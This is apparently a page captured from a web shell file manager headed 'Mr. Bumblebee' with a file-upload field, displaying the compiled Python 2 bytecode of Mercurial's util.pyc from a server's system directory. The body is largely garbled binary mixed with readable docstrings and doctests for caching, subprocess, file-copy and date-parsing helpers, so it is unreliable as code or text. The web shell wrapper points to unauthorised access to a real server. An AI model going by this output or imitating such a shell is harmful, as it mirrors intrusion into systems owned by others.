-=[ Mr. Bumblebee ]=-
_Indonesia_

Path : /usr/lib/python2.7/dist-packages/mercurial/
File Upload :
Current File : //usr/lib/python2.7/dist-packages/mercurial/util.pyc


l\c@s1dZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddl
Z
ddlZddlZddlZddlZddlZddlZddlZddlZddlZe
jdkrddlZnddlZejZejZejZejZejZej Z ej!Z!ej"Z"ej#Z#ej$Z$ej%Z%ej&Z&ej'Z'ej(Z(ej)Z)ej*Z*ej+Z+ej,Z,ej-Z-ej.Z.ej/Z/ej0Z0ej1Z1ej2Z2ej3Z3ej4Z4ej5Z5ej6Z6ej7Z7ej8Z8ej9Z9ej:Z:ej;Z;ej<Z<ej=Z=ej>Z>ej?Z?ej@Z@ejAZAeBedejCZCejDZDejEZEejFZFejGZGejHZHejIZIejJZJejKZKeLZMdZNddaOdd	aPy
eQZQWn?eRk
rUejSd
dkrFd
dZQnd
d
ZQnXddlTZTe
jdkZUeVeWdZXeVeWdZYeVeWdZZdZ[dddddddddddddd d!d"d#d$d%d&d'd(d)d*fZ\e\d+d,d-d.fZ]d/Z^yej_j`ej_Z_Wn*eak
rWd0ej_fd1YZ_nXd2ebfd3YZcd4eLfd5YZdd6Zed7eLfd8YZfd9Zgd:Zhiehd;6egd<6Zid=Zjd>Zkd?d@dAZlejmZmdBZndCZodDZpeVaqdEZrdFZsdGZtieVeVeVeVdHZudIZvdJZweVdKZxdLj@ZydMZzdNZ{e
jdkre{Z|n	ej|Z|dOZ}dPZ~dQZdRZyddlZeVaWnek
reWanXdSeLfdTYZeZiZdUZdVZdWZdXZdYZeWeVdZZd[eLfd\YZeVeWd]ZeVd^Zd_Zd`ZdaZdbeLfdcYZd@eVddZeVdeZeVdfdgZeVdhZgdiZeVidjZdkZdlZdmZdnZdodpZdqZedrdsdt>edufdvdsdt>edwfdsdsdt>edxfdrdsdy>edzfdvdsdy>ed{fdsdsdy>ed|fdrdsdv>ed}fdvdsdv>ed~fdsdsdv>edfdsdsedf
ZdZdadddZdZdZdZdZyeef\ZZWn#eRk
rdZdZnXeVeWdZdZi
ed6ed6ed6ed6ed6eWd6eWd6eWd6eWd6eWd6ZdZdZebdeDZdZdeLfdYZdZdZdZdZdZdZdZedsdedfdrdsedfdvdsedfdsdsedfdrdedfdvdedfdsdedfdrdedfdvdedfdsdedfdrdedfdvdedfdsdedf
Zd
gZdZdddyfdddvfdddtfdddvfdddyfdddtfddsffZdZdeLfdYZdd
ejejdZeZdS(sMercurial utility functions and platform specific implementations.

This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core.
i(t_Ntntt	statfilescCst||ttk	S(N(tgetattrt_notset(tthingtattr((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytsafehasattrQstcCs
t|S(s
    Low-overhead wrapper around Python's SHA support

    >>> f = _fastsha1
    >>> a = sha1()
    >>> a = f()
    >>> a.hexdigest()
    'da39a3ee5e6b4b0d3255bfef95601890afd80709'
    (t	_fastsha1(ts((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytsha1TscCsFtjdkr"ddlm}nddlm}|aa||S(Niii(R(tsha(ii(tsystversion_infothashlibRRR	(R
t_sha1((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR	as

iicCs||S(N((t	sliceabletoffset((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytbufferqscCst||S(N(t
memoryview(RR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRtstposixcCsOtj|dtdddtdtjdtjd|d|}|j|jfS(	Ntshelltbufsizeit	close_fdststdintstdouttuniversal_newlinestenv(t
subprocesstPopentTruetclosefdstPIPERR(tcmdRtnewlinestp((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytpopen2zs	cCs+t|||\}}}}|||fS(N(tpopen4(R"RR#RRtstderrR$((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytpopen3scCsatj|dtdddtdtjdtjdtjd|d	|}|j|j|j|fS(
NRRiRRRR'RR(RRRR R!RRR'(R"RR#R$((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR&s		cCs0yddl}|jSWntk
r+dSXdS(s(Return version information if available.iNtunknown(t__version__tversiontImportError(R*((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR+s

s%Y-%m-%d %H:%M:%Ss%Y-%m-%d %I:%M:%S%ps%Y-%m-%d %H:%Ms%Y-%m-%d %I:%M%ps%Y-%m-%ds%m-%ds%m/%ds%m/%d/%ys%m/%d/%Ys%a %b %d %H:%M:%S %Ys%a %b %d %I:%M:%S%p %Ys%a, %d %b %Y %H:%M:%Ss%b %d %H:%M:%S %Ys%b %d %I:%M:%S%p %Ys%b %d %H:%M:%Ss%b %d %I:%M:%S%ps%b %d %H:%Ms
%b %d %I:%M%ps%b %d %Ys%b %ds%H:%M:%Ss
%I:%M:%S%ps%H:%Ms%I:%M%ps%Ys%Y-%ms%bs%b %Ycsqjjdkr.gfd}|Sijjdkr[fd}nfd}|S(s"cache the result of function callsics-tdkr%jndS(Ni(tlentappend((tcachetfunc(s2/usr/lib/python2.7/dist-packages/mercurial/util.pytfsics'|kr||<n|S(N((targ(R/R0(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR1scs'|kr||<n|S(N((targs(R/R0(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR1s(t	func_codetco_argcount(R0R1((R/R0s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	cachefuncstdequecBseZdZRS(cCs8x1t|D]#\}}||kr
||=Pq
q
WdS(N(t	enumerate(tselftvaltitv((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytremoves(t__name__t
__module__R=(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR7stsortdictcBskeZdZddZdZdZdZdZdZ	dZ
dZd	Zd
Z
RS(sa simple sorted dictionarycCs#g|_|r|j|ndS(N(t_listtupdate(R9tdata((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__init__s	cCs
t|S(N(R@(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytcopyscCsF||kr|jj|n|jj|tj|||dS(N(RAR=R.tdictt__setitem__(R9tkeyR:((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRGscCs
|jjS(N(RAt__iter__(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRIscCs#x|D]}||||<qWdS(N((R9tsrctk((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRBs
cCstj|g|_dS(N(RFtclearRA(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRLs
cCs$g|jD]}|||f^q
S(N(RA(R9RK((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytitemsscCs$tj|||jj|dS(N(RFt__delitem__RAR=(R9RH((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRNscCs|jS(N(RA(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytkeysscCs
|jjS(N(RARI(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytiterkeyssN(R>R?t__doc__tNoneRDRERGRIRBRLRMRNRORP(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR@s								tlrucachedictcBs;eZdZdZdZdZdZdZRS(s6cache most recent gets from or sets to this dictionarycCs"i|_||_t|_dS(N(t_cachet_maxsizeR7t_order(R9tmaxsize((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDs		cCs1|j|}|jj||jj||S(N(RTRVR=R.(R9RHtvalue((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__getitem__	s
cCsq||jkr@t|j|jkrP|j|jj=qPn|jj|||j|<|jj|dS(N(RTR-RURVtpopleftR=R.(R9RHRX((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRGs
cCs
||jkS(N(RT(R9RH((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__contains__scCs|jjt|_dS(N(RTRLR7RV(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRLs
(R>R?RQRDRYRGR[RL(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRSs					csRitjjdkr9fd}nfd}|S(s+cache most recent results of function callsicsc|krAtdkr.j=n||<n
j|j||S(Ni(R-RZR=R.(R2(R/R0torder(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR1$s

csc|krAtdkr.j=n||<n
j|j||S(Ni(R-RZR=R.(R3(R/R0R\(s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR1.s

(R7R4R5(R0R1((R/R0R\s2/usr/lib/python2.7/dist-packages/mercurial/util.pytlrucachefuncs	

t
propertycachecBs&eZdZddZdZRS(cCs||_|j|_dS(N(R0R>tname(R9R0((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRD;s	cCs#|j|}|j|||S(N(R0t
cachevalue(R9tobjttypetresult((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__get__>scCs||j|j<dS(N(t__dict__R_(R9RaRX((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR`CsN(R>R?RDRRRdR`(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR^:s	c
CsFtj|dtdtdtjdtj}|j|\}}|S(s9filter string S through command CMD, returning its outputRRRR(RRRR R!tcommunicate(R
R"R$tpouttperr((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
pipefilterGsc	Csd
\}}ztjdd\}}tj|d}|j||jtjdd\}}tj||jd|}|jd|}tj|}t	j
dkr|d@rd	}n|rttd
|t
|fnt|d}|j}|j|SWdy|r;tj|nWntk
rOnXy|ritj|nWntk
r}nXXdS(sfilter string S through a pair of temporary files with CMD.
    CMD is used as a template to create the real command to be run,
    with the strings INFILE and OUTFILE replaced by the real names of
    the temporary files generated.tprefixs
hg-filter-in-twbshg-filter-out-tINFILEtOUTFILEtOpenVMSiiscommand '%s' failed: %strbN(NN(RRttempfiletmkstemptostfdopentwritetclosetreplacetsystemR
tplatformtAbortRtexplainexittopentreadtunlinktOSError(	R
R"tinnametoutnametinfdtfptoutfdtcodetr((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
tempfilterNs<


	


s	tempfile:spipe:cCsVxFtjD]8\}}|j|r
|||t|jSq
Wt||S(sIfilter a string through a command that transforms its input to its output(tfiltertablet	iteritemst
startswithR-tlstripRi(R
R"R_tfn((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytfilterxs!cCst|od|kS(s&return true if a string is binary datat(tbool(R
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytbinarysiiccsd}g}d}x|D]}|j||t|7}||kr||kr|d>}d||>}||kr|}n||kr|}qndj|Vd}g}qqW|rdj|VndS(srreturn no less than min bytes per chunk while data remains,
    doubling min after each chunk until it reaches maxcSs9|s
dSd}x|r0|dL}|d7}qW|dS(Nii((txR;((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytlog2s	
iiRN(R.R-tjoin(tsourcetmintmaxRtbuftblentchunktnmin((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytincreasingchunkss&		


	
cCstS(N(R(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytalwaysscCstS(N(tFalse(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytneverscCs!|st|Stjj|rtjj|dtjj|dkrgtjj|t|Sdjt||f}nt||jd}}|j	|j	x8|r|r|d|dkr|j
|j
qW|j	tjjdgt||p dS(sareturn the relative path from one place to another.
    root should use os.sep to separate directories
    n1 should use os.sep to separate directories
    n2 should use "/" to separate directories
    returns an os.sep-separated path.

    If n1 is a relative path, it's assumed it's
    relative to root.
    n2 should always be relative to root.
    it/is..t.(
t	localpathRrtpathtisabst
splitdriveRtpconvertt	splitpathtsplittreversetpoptsepR-(troottn1tn2tatb((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytpathtos
,

#

cCs+ttdp*ttdp*tjdS(sreturn True if we are a frozen executable.

    The code supports py2exe (most common, Windows only) and tools/freeze
    (portable, not much used).
    tfrozent	importerst__main__(RR
timpt	is_frozen(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
mainfrozenscCstdkrtjjd}tjd}|r>t|qtrWttj	qtj
jt|dddkrt|j
qtdptj
jtjd}t|ntS(s]return location of the 'hg' executable.

    Defaults to $HG or 'hg' in the search path.
    tHGRt__file__RthgiN(t
_hgexecutableRRRrtenvirontgetR
tmodulest_sethgexecutableRt
executableRtbasenameRRtfindexetargv(Rtmainmodtexe((s2/usr/lib/python2.7/dist-packages/mercurial/util.pythgexecutables

	$%
cCs
|adS(s#set location of the 'hg' executableN(R(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRscsMytjjWntk
r$nXd|}t|}tjdkrtjddkrtjddkr|dk	rtj	|ntj
|}nttj}|j
fd|jDt|d<|dks|tjkr'tj|d	td
td|d|}nmtj|d	td
td|d|d
tjdtj}	x|	jD]}
|j|
qjW|	j|	j}tjdkr|d@rd}n|rI|rIdtjj|jdddt|df}|rd||f}ny|j|dWqIt k
rE||qIXn|S(senhanced shell command execution.
    run with environment maybe modified, maybe in different dir.

    if command fails and onerr is None, return status.  if ui object,
    print error message and return status, else raise onerr object as
    exception.

    if out is specified, it is assumed to be a file-like object that has a
    write() method. stdout and stderr will be redirected to out.cSs6|dks|tkrdS|tkr,dSt|S(s9convert python object into string that is useful to shellt0t1N(RRRRtstr(R:((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytpy2shells
tplan9iiiic3s'|]\}}||fVqdS(N((t.0RKR<(R(s2/usr/lib/python2.7/dist-packages/mercurial/util.pys	<genexpr>sRRRRtcwdRR'Rns%s %ss%s: %ss
N(!R
Rtflusht	ExceptiontquotecommandRxRRRRrtchdirRwRFRRBRRt
__stdout__RtcallRR RR!tSTDOUTRttwaitt
returncodeRRRRztwarntAttributeError(R"RRtonerrt	errprefixtouttorigcmdtrcRtproctlineterrmsg((Rs2/usr/lib/python2.7/dist-packages/mercurial/util.pyRwsJ

	"#

		"
csfd}|S(s5wrap a function with code to check for calling errorscs]y||SWnEtk
rXttjtjddkrRtjnnXdS(Nii(t	TypeErrorR-t	tracebackt
extract_tbR
texc_infoterrortSignatureError(R3tkwargs(R0(s2/usr/lib/python2.7/dist-packages/mercurial/util.pytcheck$s
%((R0R((R0s2/usr/lib/python2.7/dist-packages/mercurial/util.pytchecksignature"scCstjj|rt|ntjj|rMtjtj||nOy$tj||tj	||Wn(tj
k
r}tt|nXdS(s,copy a file, preserving mode and atime/mtimeN(
RrRtlexistsR}tislinktsymlinktreadlinktshutiltcopyfiletcopymodetErrorRyR(RJtdesttinst((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR.s
c	CsA|dkr?tj|jtjtjj|jk}nd}tjj|rtj|xtj	|D]X\}}tjj
||}tjj
||}t|||\}}||7}qtWnd|ryt||Wq-t
tfk
rt}tj||q-Xntj|||d7}||fS(s1Copy a directory tree using hardlinks if possibleiiN(RRRrtstattst_devRtdirnametisdirtmkdirtosutiltlistdirRt	copyfilestoslinktIOErrorR~RRRE(	RJtdstthardlinktnumR_tkindtsrcnametdstnametn((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR;s($

sqcon prn aux nul
    com1 com2 com3 com4 com5 com6 com7 com8 com9
    lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9s:*?"<>|cCs|jdrtdSd|kr/tdSx|jddjdD]}|s]qKnxH|D]@}|tkrtd|St|dkrdtd|SqdW|jd	d
}|r|jtkrtd|S|d}|dkrK|d
krKtd|SqKWdS(sJCheck that the base-relative path is a valid filename on Windows.
    Returns None if the path is ok, or a UI string describing the problem.

    >>> checkwinfilename("just/a/normal/path")
    >>> checkwinfilename("foo/bar/con.xml")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename("foo/con.xml/bar")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename("foo/bar/xml.con")
    >>> checkwinfilename("foo/bar/AUX/bla.txt")
    "filename contains 'AUX', which is reserved on Windows"
    >>> checkwinfilename("foo/bar/bla:.txt")
    "filename contains ':', which is reserved on Windows"
    >>> checkwinfilename("foo/bar/b\07la.txt")
    "filename contains '\\x07', which is invalid on Windows"
    >>> checkwinfilename("foo/bar/bla ")
    "filename ends with ' ', which is not allowed on Windows"
    >>> checkwinfilename("../bar")
    >>> checkwinfilename("foo\\")
    "filename ends with '\\', which is invalid on Windows"
    >>> checkwinfilename("foo\\/bar")
    "directory name ends with '\\', which is invalid on Windows"
    s\s3filename ends with '\', which is invalid on Windowss\/s9directory name ends with '\', which is invalid on WindowsRs4filename contains '%s', which is reserved on Windowsis1filename contains %r, which is invalid on WindowsRiis. s..s8filename ends with '%s', which is not allowed on WindowsN(tendswithRRvRt_winreservedcharstordtlowert_winreservednames(RRtctbasett((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytcheckwinfilename[s,

"
				
	cCsytj||SWn;tk
rA}|jtjkrRqRntk
rQnXtj|tjtjBtj	B}tj
||tj|dS(N(RrRR~terrnotEEXISTRR{tO_CREATtO_WRONLYtO_EXCLRtRu(tinfotpathnametwhytld((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytmakelocks	
#cCs~ytj|SWnDtk
rG}|jtjtjfkrXqXntk
rWnXt|}|j}|j	|S(N(
RrRR~RtEINVALtENOSYSRt	posixfileR|Ru(RRRR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytreadlocks	

cCs<ytj|jSWntk
r7tj|jSXdS(s1stat file object that may not have fileno method.N(RrtfstattfilenoRRR_(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRs
cCstj|}tjj|\}}|j}||kr^|j}||kr^tSntjj||}y'tj|}||krtStSWnt	k
rtSXdS(s
    Return true if the given path is on a case-sensitive filesystem

    Requires a path (like /foo/.hg) ending with a foldable final
    directory component.
    N(
RrRRRtupperRRRRR~(Rts1tdRtb2tp2ts2((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	checkcases
t_recBs,eZdZddZedZRS(cCs:yttjddaWntk
r5tanXdS(Ns\[([^\[]+)\]s[ui](Rtre2tmatcht_re2R,R(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	_checkre2s
icCstdkr|jntr|tjtjB@dkr|tj@rTd|}n|tj@rnd|}nytj|SWqtjk
rqXntj||S(sCompile a regular expression, using re2 if possible

        For best performance, use only re2-compatible regexp features. The
        only flags from the re module that are re2-compatible are
        IGNORECASE and MULTILINE.is(?i)s(?m)N(	R&RRR'tremodt
IGNORECASEt	MULTILINER$tcompileR(R9tpattflags((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR+s
!



cCs1tdkr|jntr&tjStjSdS(sReturn the version of escape corresponding to self.compile.

        This is imperfect because whether re2 or re is used for a particular
        function depends on the flags, etc, but it's the best we can do.
        N(R&RRR'R$tescapeR((R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR.s

(R>R?R'R+R^R.(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR#s	cCsFd}tj}tjr+|tj}n|jddtjd||f}tjj|}g}x|j|D]\}}|r|j	|q|n|t
krtj|t
|<nt
|}	|||	}
|
s
tj|}	|	t
|<|||	}
n|j	|
p|tjj||}q|Wdj|S(s4Get name in the case stored in the filesystem

    The name should be relative to root, and be normcase-ed for efficiency.

    Note that this function is unnecessary, and should not be
    called, for case-sensitive filesystems (simply because it's expensive).

    The root should be normcase-ed, too.
    cSs+x$|D]}t||kr|SqWdS(N(tnormcaseRR(R$tcontentsR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytfinds
s\s\\s([^%s]+)|([%s]+)R(
RrRtaltsepRvR(R+RtnormpathtfindallR.t_fspathcacheRR(R_RR1tsepstpatterntdirRctpartRR0tfound((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytfspaths.
			


c	Cs|d}tjj|r tSyt|djWntk
rKtSX|d}d}zFyt||Wnt	k
rtSXt|}t
|dkSWd|dk	r|jnx9||fD]+}ytj|Wqt	k
rqXqWXdS(s5check whether hardlink count reporting works properlys.hgtmp1tws.hgtmp2iN(RrRRRRRuRRRRR~tnlinksR}(ttestfiletf1tf2tfdR1((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
checknlink+s.





cCs+|jtjp*tjo*|jtjS(s)Check path ends with os.sep or os.altsep.(RRrRR2(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytendswithsepMscCs|jtjS(sSplit path by os.sep.
    Note that this function does not use os.altsep because this is
    an alternative of simple "xxx.split(os.sep)".
    It is recommended to use os.path.normpath() before using this
    function if need.(RRrR(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRQscCshtjdkrEdtjkr"tSttddr>tjSt	Sntj
dkpctjjdSdS(sAre we running in a GUI?tdarwintSSH_CONNECTIONtisguiRtDISPLAYN(R
RxRrRRRRRRRFRR_R(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytguiYs
cCsBtjj|\}}tjdd|d|\}}tj|t||||ra|Syyt|d}WnJtk
r}|j	t	j
kr|St|dds||_
nnXt|d}	x!t|D]}
|	j|
qW|j|	jWn/ytj|Wntk
r6nXnX|S(sCreate a temporary file with the same contents from name

    The permission bits are copied from the original file.

    If the temporary file is going to be truncated immediately, you
    can use emptyok=True as an optimization.

    Returns the name of the temporary file.
    Rjs.%s-R8RotfilenameRkN(RrRRRpRqRuRRRRtENOENTRRRRIt
filechunkiterRtR}R~(R_temptyokt
createmodeRRRAttemptifpRtofpR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
mktempcopyhs6
"


tatomictempfilecBs8eZdZdddZdZdZdZRS(sfwritable file object that atomically updates a file

    All writes will go to a temporary copy of the original file. Call
    close() when you are done writing, and atomictempfile will rename
    the temporary copy to the original name, making the changes
    visible. If the object is destroyed without being closed, all your
    writes are discarded.
    sw+bcCs||_t|dd|kd||_t|j||_|jj|_|jj|_|jj|_|jj|_dS(NRLR<RM(	t_atomictempfile__nameRQt	_tempnameRt_fpRttseekttellR(R9R_tmodeRM((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDs	cCs9|jjs5|jjt|jt|jndS(N(RUtclosedRutrenameRTRRS(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRus
cCsH|jjsDytj|jWntk
r3nX|jjndS(N(RURYRrR}RTR~Ru(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytdiscards
cCs t|dr|jndS(NRU(RR[(R9((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt__del__sN(R>R?RQRRRDRuR[R\(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRRs
		cCsyt||Wntk
r}|jtjkr9dS|jtjksR|rXntjjtjj|}||krnt	|||t||nX|dk	rtj||ndS(s9recursive directory creation with parent mode inheritanceN(tmakedirR~RR
RJRrRRtabspathtmakedirsRRtchmod(R_RXt
notindexedterrtparent((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR_scCstjj|rdStjjtjj|}||krPt||nytj|Wn>tk
r}|jtj	krtjj|rdSnX|dk	rtj||ndS(s&race-safe recursive directory creationN(RrRRRR^t
ensuredirsRR~RR
RRR`(R_RXRcRb((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRds$cCs/t|d}z|jSWd|jXdS(NRo(R{R|Ru(RR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytreadfilescCs2t|d}z|j|Wd|jXdS(NRk(R{RtRu(RttextR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	writefilescCs2t|d}z|j|Wd|jXdS(Ntab(R{RtRu(RRfR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt
appendfilestchunkbuffercBs#eZdZdZddZRS(soAllow arbitrary sized chunks of data to be efficiently read from an
    iterator over chunks of arbitrary size.cCs(d}|||_t|_dS(szin_iter is the iterator that's iterating over the input chunks.
        targetsize is how big a buffer to try to maintain.cssjxc|D][}t|dkr]d}x:|t|krY|d}|||!V|}q(Wq|VqWdS(Niiiiii(R-(tchunksRtpostend((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytsplitbigs


N(titerR7t_queue(R9tin_iterRn((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRDs	
cCs|}g}|j}x|dks0|dkr|sd}x>|jD]3}|j||t|8}|dkrFPqFqFW|sPqn|j}|dk	r|t|8}n|dk	r|dkr|j|||j|| q|j|qWdj|S(sRead L bytes of data from the iterator of chunks of data.
        Returns less than L bytes if the iterator runs dry.

        If size parameter is ommited, read everythingiiiRNi(RpRRRoR.R-RZt
appendleftR(R9tltleftRtqueuettargetR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyR|s*	
N(R>R?RQRDRRR|(((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRjs	ccs|dkst|dks0|dks0txktr|dkrN|}nt||}|oo|j|}|s|Pn|r|t|8}n|Vq3WdS(sXCreate a generator that produces the data in the file size
    (default 65536) bytes at a time, up to optional limit (default is
    to read all data).  Chunks may be less than size bytes if the
    chunk is the last chunk in the file, or the file is a socket or
    some other type of file that sometimes reads less data than is
    requested.iN(tAssertionErrorRRRRR|R-(R1tsizetlimittnbytesR
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRKs		cCs|dkrtj}n|dkrRtd}ttd|d|ntjj|tjj|}|jd|j}||fS(smReturn a unix timestamp (or the current time) as a (unixtime,
    offset) tuple based off the local timezone.ischeck your clocksnegative timestamp: %dthintiQN(	RRttimeRRytdatetimetutcfromtimestampt
fromtimestamptdaystseconds(t	timestampR{tdeltattz((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytmakedate4ss%a %b %d %H:%M:%S %Y %1%2cCs$|pt\}}|dkr0d}d}nd|ksTd|ksTd|kr|dkrfdpid}t|d}|jdd}|jdd	||df}|jdd
|d}nytjt||}Wn#tk
r
tjtj}nXtj	||}|S(srepresent a (unixtime, offset) tuple as a localized time.
    unixtime is seconds since the epoch, and offset is the time zone's
    number of seconds away from UTC. if timezone is false, do not
    append time zone to string.is%1s%2s%zt-t+i<s%1%2s%c%02ds%02d(
RtabsRvR|tgmtimetfloatt
ValueErrorR
tmaxinttstrftime(tdatetformatR
RtsigntminutesR
((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytdatestrAs 	$ 
cCst|ddS(s1turn (timestamp, tzoff) tuple into iso 8631 date.Rs%Y-%m-%d(R(R((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	shortdateXsc
Cs$d}|||}}|dk	rDdj|jd }nt}xndD]f}g|D]}d
||kr^t^q^}	|	s|d|||7}|d|d
7}qQt}qQWtj||}
ttj	|
}|dkrttj
|
}||}n
||}||fS(s~parse a localized time string and return a (unixtime, offset) tuple.
    if the string cannot be parsed, ValueError is raised.cSs|jd}|ddkrt|dkr|djr|ddkrXdp[d}t|dd!}t|dd!}||d|dS|d	ks|d
krdSdS(Niis+-iiRii<tGMTtUTC(RR-tisdigittintRR(tstringRRthoursR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyttimezone_s2t itStMtHIRtmbtyYt%t@s@%iN(RRRRRR(RRRRRRR|tstrptimeRtcalendarttimegmtmktime(
RRtdefaultsRRRtusenowR9R$R:t	timetuplet
localunixtimetunixtime((s2/usr/lib/python2.7/dist-packages/mercurial/util.pytstrdate\s$	
)


cCsp|s
dSt|tr/t|dkr/|S|s>t}n|j}|tdkrctS|tdkrtjj	j
d}n=|tdkrtjj	tjddj
d}ny"tt
|jd	\}}Wntk
rt}i}xrdD]j}|j|}|dkrX|ddkrOd}qXd}nt|d|d}	||	f||<qWx_|D]=}
yt||
|\}}Wnttfk
rqXPqWttd|nXt|dkrttd|n|dkr5ttd|n|dksM|dkrfttd|n||fS(sparse a localized date/time and return a (unixtime, offset) tuple.

    The date may be a "unixtime offset" string or in one of the specified
    formats. If the date already is a (unixtime, offset) tuple, it is returned.

    >>> parsedate(' today ') == parsedate(                                  datetime.date.today().strftime('%b %d'))
    True
    >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -                                               datetime.timedelta(days=1)                                              ).strftime('%b %d'))
    True
    >>> now, tz = makedate()
    >>> strnow, strtz = parsedate('now')
    >>> (strnow - now) < 1
    True
    >>> tz == strtz
    True
    iitnowttodays%b %dt	yesterdayRiRRRRRRRtHMSt00RRsinvalid date: %risdate exceeds 32 bits: %dsnegative date value: %di ;isimpossible time zone offset: %d(ii(RsmbsyYsHIRRN(t
isinstancettupleR-tdefaultdateformatststripRRR}RRRt	timedeltatmapRRRRRRRRt
OverflowErrorRyR(RtformatstbiastwhenRRRR9RRR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyt	parsedatesR!	"
	
		
csd}d}|j}|s9ttdn|ddkr|dshttdn||dfdS|dd	kr|dsttd
n||dfdS|ddkrryt|d}Wn+tk
r"ttd
|dnX|dkrLttd|dntd|ddfdSd|kr|jd\}}||||fdS||||fdSdS(sAReturn a function that matches a given date match specifier

    Formats include:

    '{date}' match a given date to the accuracy provided

    '<{date}' on or before a given date

    '>{date}' on or after a given date

    >>> p1 = parsedate("10:29:59")
    >>> p2 = parsedate("10:30:00")
    >>> p3 = parsedate("10:30:59")
    >>> p4 = parsedate("10:31:00")
    >>> p5 = parsedate("Sep 15 10:30:00 1999")
    >>> f = matchdate("10:30")
    >>> f(p1[0])
    False
    >>> f(p2[0])
    True
    >>> f(p3[0])
    True
    >>> f(p4[0])
    False
    >>> f(p5[0])
    False
    cSs(idd6dd6}t|t|dS(NRRRi(Rtextendeddateformats(RR((s2/usr/lib/python2.7/dist-packages/mercurial/util.pyRscSsidd6dd6dd6dd6}xDdD]<}y"||d<t|t|dSWq)tk
rdq)Xq)Wd
